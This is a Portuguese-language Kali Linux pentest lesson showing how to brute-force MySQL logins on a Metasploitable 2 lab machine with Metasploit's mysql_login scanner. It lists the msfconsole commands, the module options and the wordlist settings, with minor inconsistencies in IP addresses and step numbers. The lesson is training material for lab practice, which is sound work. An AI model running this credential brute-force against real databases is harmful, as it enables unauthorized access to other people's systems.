Pentest com Kali Linux



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Nesta aula, vamos explorar como usar Metasploit para atacar um servidor de banco de dados MySQL usando o módulo *MySQL Scanner*. Sendo o banco de dados de escolha para muitas plataformas de website, incluindo Drupal e Wordpress, muitos sites estão usando atualmente o servidor de banco de dados MySQL. Isto o torna um alvo fácil para o ataque Metasploitable MySQL.

Nessa aula, vamos precisar de:

- Internet
- Uma máquina com Metasploitable 2 ativo em nosso laboratório
- Uma lista de Usernames.txt e Password.txt para executar um ataque

https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists

- 1. Abra o terminal.
- 2. Execute o MSFCONSOLE:

msfconsole

3. Procure pelos módulos de MySQL:

msf > search mysql

```
exploit/linux/mysql/mysql yassl hello
                                                         2008-01-04 00:00:00 UTC
            MySQL yaSSL SSL Hello Message Buffer Overflow
  exploit/pro/web/sqli mysql
                                                         2007-06-05 00:00:00 UTC
            SQL injection exploit for MySQL
 manual
  exploit/pro/web/sqli mysql php
                                                         2000-05-30 00:00:00 UTC
            SQL injection exploit for MySQL
  exploit/unix/webapp/wp google document embedder exec 2013-01-03 00:00:00 UTC
            WordPress Plugin Google Document Embedder Arbitrary File Disclosure
  exploit/windows/mysql/mysql mof
                                                         2012-12-01 00:00:00 UTC
 excellent Oracle MySQL for Microsoft Windows MOF Execution
  exploit/windows/mysql/mysql payload
                                                         2009-01-16 00:00:00 UTC
 excellent Oracle MySQL for Microsoft Windows Payload Execution
  exploit/windows/mysql/mysql_yassl_hello
                                                         2008-01-04 00:00:00 UTC
            MySQL yaSSL SSL Hello Message Buffer Overflow
 average
  exploit/windows/mysql/scrutinizer upload exec
                                                         2012-07-27 00:00:00 UTC
 excellent Plixer Scrutinizer NetFlow and sFlow Analyzer 9 Default MySQL Crede
ntial
  post/linux/gather/enum configs
            Linux Gather Configurations
 normal
  post/linux/gather/enum users history
            Linux Gather User History
 normal
msf >
```

4. Use o módulo do MySQL Scanner:

use auxiliary/scanner/mysql/mysql_login

```
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) >
```

5. Mostre as opções dos módulos:

msf auxiliary(mysql_login) > show options

```
msf auxiliary(mysql login) > show options
Module options (auxiliary/scanner/mysql/mysql login):
                     Current Setting Required Description
   Name
   BLANK PASSWORDS
                                                Try blank passwords for all users
                     true
                                      no
   BRUTEFORCE SPEED
                                                How fast to bruteforce, from 0 to 5
                                      ves
   PASSWORD
                                                 A specific password to authenticate with
                                      no
   PASS FILE
                                                File containing passwords, one per line
                                      no
   RH0STS
                                                The target address range or CIDR identifier
                                      yes
                     3306
                                                The target port
   RPORT
                                      yes
   STOP ON SUCCESS
                     false
                                                 Stop guessing when a credential works for a
                                      yes
 host
   THREADS
                                                 The number of concurrent threads
                                      yes
   USERNAME
                                                 A specific username to authenticate as
                                      no
  USERPASS FILE
                                                File containing users and passwords separat
                                      no
ed by space, one pair per line
   USER AS PASS
                                                 Try the username as the password for all us
                     true
                                      no
ers
   USER FILE
                                                File containing usernames, one per line
                                      no
   VERBOSE
                                                Whether to print output for all attempts
                     true
                                      yes
msf auxiliary(mysgl login) >
```

6. Configure a RHOST do Metasploitable 2:

msf auxiliary(mysql_login) > set RHOST 192.168.1.111

7. Depois configure o caminho das listas.

msf auxiliary(mysql_login) > set user_file /root/Desktop/usernames.txt

msf auxiliary(mysql_login) > set pass_file /root/Desktop/passwords.txt

6. E depois use o exploit:

Exploit

```
msf auxiliary(mysql_login) > set RHOSTS 192.168.10.111
RHOSTS => 192.168.10.111
msf auxiliary(mysql_login) > set user_file /root/Desktop/usernames.txt
user_file => /root/Desktop/usernames.txt
msf auxiliary(mysql_login) > set pass_file /root/Desktop/Passwords.txt
pass_file => /root/Desktop/Passwords.txt
msf auxiliary(mysql_login) >
```

Nesta aula, usamos o msfconsole do Metasploit para explorar as vulnerabilidade do MySQL em nosso contra o nosso Metasploitable 2. Começamos com o lançamento do console e à procura de todas as vulnerabilidades MySQL conhecidos.

Depois de escolher o login do MySQL, o que nos permite a força bruta do login MySQL. Usando os arquivos de usuário e senha fornecidos pelas listas, o Metasploit tenta por força bruta o acesso a base de dados MySQL.